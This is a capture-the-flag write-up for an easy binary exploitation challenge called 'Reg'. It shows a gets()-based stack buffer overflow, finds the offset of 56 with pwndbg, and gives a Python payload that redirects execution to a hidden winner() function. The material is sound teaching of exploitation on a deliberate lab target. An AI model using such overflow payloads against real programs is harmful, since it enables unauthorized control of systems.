Reg

7th October 2022 / Document No. D22.102.234

Prepared By: w3th4nds

Challenge Author(s): felamos

Difficulty: Easy

Classification: Official

Synopsis

Reg is an Easy challenge that features a buffer overflow vulnerability, enabling the attacker to control the program flow and make calls to functions otherwise unreachable.

Skills Required

- Basic debugging skills

Skills Learned

- Exploiting buffer overflows and making function calls through them

Enumeration

Protections

First off, let's start by checking the binary's applied protections, getting an idea of what we **can** and **can't** do in this challenge.

We will be using `checksec` to do that:

```
checksec reg

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

Since this is an intro challenge, we will be going through what these protections essentially mean:

- `Canary`: Stack canaries are a buffer overflow protection mechanism, and a bit more advanced than the scope of this writeup aims to be. But since they are disabled, we know we can do our buffer overflows basically carefree.
- `NX`: When enabled, this prevents us from executing shellcode on the stack.
- `PIE`: Position Independent Executable. When enabled, the binary itself will sit at a semi-random offset in virtual memory. In that case, the binary's base address will need to be leaked in order to make use of its functions and gadgets.
- `RELRO`: When in **partial or disabled** mode, we can overwrite GOT and PLT table addresses. This is useful when we have an arbitrary write primitive. If it's in **full** RELRO mode, we are denied overwriting data on these tables, but can still read from them.

Running the binary, we are greeted with a simple interface, asking us to input our name:

```
Enter your name : w3th4nds
Registered!
```

Then it terminates. Not much to see here.

Disassembly

For this stage, we are going to use a `reverse engineering` tool such as `Ghidra` or `IDA`, in order to examine the `assembly` instructions making this binary tick, and also generate `C-like pseudocode` to make our life easier.

`main()` only makes a call to `run()`, so let's take a look into that:

```
void run(void)
{
  char local_38 [48];

  initialize();
  printf("Enter your name : ");
  gets(local_38);
  puts("Registered!");
  return;
}
```

A 48-byte char buffer is declared, and `gets()` is being used in order to read our input into the buffer - take note of this. After that, the function returns.

Looking at the list of functions within the binary, we can also spot a `winner()` function:

```
void winner(void)
{
  char local_418 [1032];
  FILE *local_10;

  puts("Congratulations!");
  local_10 = fopen("flag.txt","r");
  fgets(local_418,0x400,local_10);
  puts(local_418);
  fclose(local_10);
  return;
}
```

As the name suggests, this gives us the flag, by reading it into a buffer and printing it for us.
As there is no way for the binary to reach the `winner()` function, we will be looking to make a call to it
by taking control of the program flow.

Exploitation

`gets()` is regarded as a dangerous function, due to the fact that it reads in bytes, **without a size limit**.

This way, our input can potentially `overflow` the buffer's allocated space on the stack, and overwrite crucial data.

Overflow with enough bytes, and you will overwrite the program's saved `RIP` register, which contains the address of the next instruction, below the `call` instruction, so the program returns at the proper instruction.

The objective will be to place the `winner()`'s function address in `RIP`, thus making a call to it when the next `return` hits, and getting the flag.

Two things left to do:

- Calculate the offset from our input to the point where we start overwriting `RIP`
- Prepare the `winner()`'s function address according to the binary's architecture.

For calculating the offset, we will generate a pattern and overflow the buffer using it.

In the following `Segfault`, take note of the bytes overwriting the `RIP` register.

```
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraa
asaaataaauaaavaaawaaaxaaayaaa
```

```
Enter your name :
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaas
aaataaauaaavaaawaaaxaaayaaa
Registered!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004012ac in run ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────[ REGISTERS ]──────────────────────────────
 RAX  0xc
 RBX  0x0
 RCX  0x7ffff7e96a37 (write+23) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x1
 RDI  0x7ffff7f9da70 (_IO_stdfile_1_lock) ◂— 0x0
 RSI  0x1
 R8   0xb
 R9   0x0
 R10  0x7ffff7d8f0c8 ◂— 0xf0022000065de
 R11  0x246
 R12  0x7fffffffdff8 —▸ 0x7fffffffe34d ◂— '/home/hax/htb/pwn_retired/reg'
 R13  0x4012ad (main) ◂— push   rbp
 R14  0x0
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
 RBP  0x6161616e6161616d ('maaanaaa')
 RSP  0x7fffffffded8 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
 RIP  0x4012ac (run+66) ◂— ret
─────────────────────────────[ DISASM ]─────────────────────────────────
 ► 0x4012ac <run+66>    ret    <0x616161706161616f>








─────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ rsp 0x7fffffffded8 ◂—
'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
01:0008│     0x7fffffffdee0 ◂— 'qaaaraaasaaataaauaaavaaawaaaxaaayaaa'
02:0010│     0x7fffffffdee8 ◂— 'saaataaauaaavaaawaaaxaaayaaa'
03:0018│     0x7fffffffdef0 ◂— 'uaaavaaawaaaxaaayaaa'
04:0020│     0x7fffffffdef8 ◂— 'waaaxaaayaaa'
05:0028│     0x7fffffffdf00 ◂— 0x61616179 /* 'yaaa' */
06:0030│     0x7fffffffdf08 —▸ 0x7fffffffdff8 —▸ 0x7fffffffe34d ◂—
'/home/hax/htb/pwn_retired/reg'
07:0038│     0x7fffffffdf10 ◂— 0x0
───────────────────────────[ BACKTRACE ]────────────────────────────────
 ► f 0         0x4012ac run+66
   f 1 0x616161706161616f
   f 2 0x6161617261616171
   f 3 0x6161617461616173
   f 4 0x6161617661616175
   f 5 0x6161617861616177
   f 6       0x61616179
   f 7   0x7fffffffdff8
────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -o oaaa
56
```

```
56
```

So, the **offset is 56**.

Within `gdb`, we see the `winner()` function address is `0x0000000000401206`.

The architecture is `64-bit little-endian`, so the byte order needs to be reversed, like so:

`0x0000000000401206 --> "\x06\x12\x40\x00\x00\x00\x00\x00"`

Finally, putting everything together, our payload will look something like this:

Python3:

```python
payload = b'A' * 56 + b'\x06\x12\x40\x00\x00\x00\x00\x00'
```

Solution

```
Enter your name : Registered!
Congratulations!
HTB{**************}
```